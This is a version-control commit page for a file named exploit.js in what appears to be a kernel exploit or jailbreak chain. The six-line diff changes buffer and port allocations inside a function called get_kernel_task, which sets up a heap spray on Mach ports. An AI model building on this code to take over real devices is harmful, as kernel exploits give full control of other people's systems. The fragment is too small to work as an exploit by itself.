summaryrefslogtreecommitdiff
path: root/src/stage4/kexp
diff options
context:
space:
mode:
authorspv420 <spv@spv.sh>2022-08-19 00:57:07 -0400
committerspv420 <spv@spv.sh>2022-08-19 00:57:07 -0400
commit9998f3cbce514fb9b972eb6280399dffe94a9b8d (patch)
tree651a87338809a9337604ca5bafcc45e08bdb3ff0 /src/stage4/kexp
parent4099ee5b61a87c43dbbef6ce3e62aed7a93b22c0 (diff)
Diffstat (limited to 'src/stage4/kexp')
-rwxr-xr-xsrc/stage4/kexp/exploit.js6
1 files changed, 3 insertions, 3 deletions
diff --git a/src/stage4/kexp/exploit.js b/src/stage4/kexp/exploit.js
index 85a4eb9..24a1792 100755
--- a/src/stage4/kexp/exploit.js
+++ b/src/stage4/kexp/exploit.js
@@ -378,10 +378,10 @@ function get_kernel_task() {
var big_buf = shit_heap(MIG_MAX);
var small_buf = shit_heap(MIG_MAX);
- var big_size = shit_heap(4);
- var small_size = shit_heap(4);
+ var big_size = new uint32_t();
+ var small_size = new uint32_t();
- var fp = shit_heap(PORTS_NUM * 4);
+ var fp = new mach_port_t(PORTS_NUM);
var postSpray = shit_heap(4);
usleep(10000);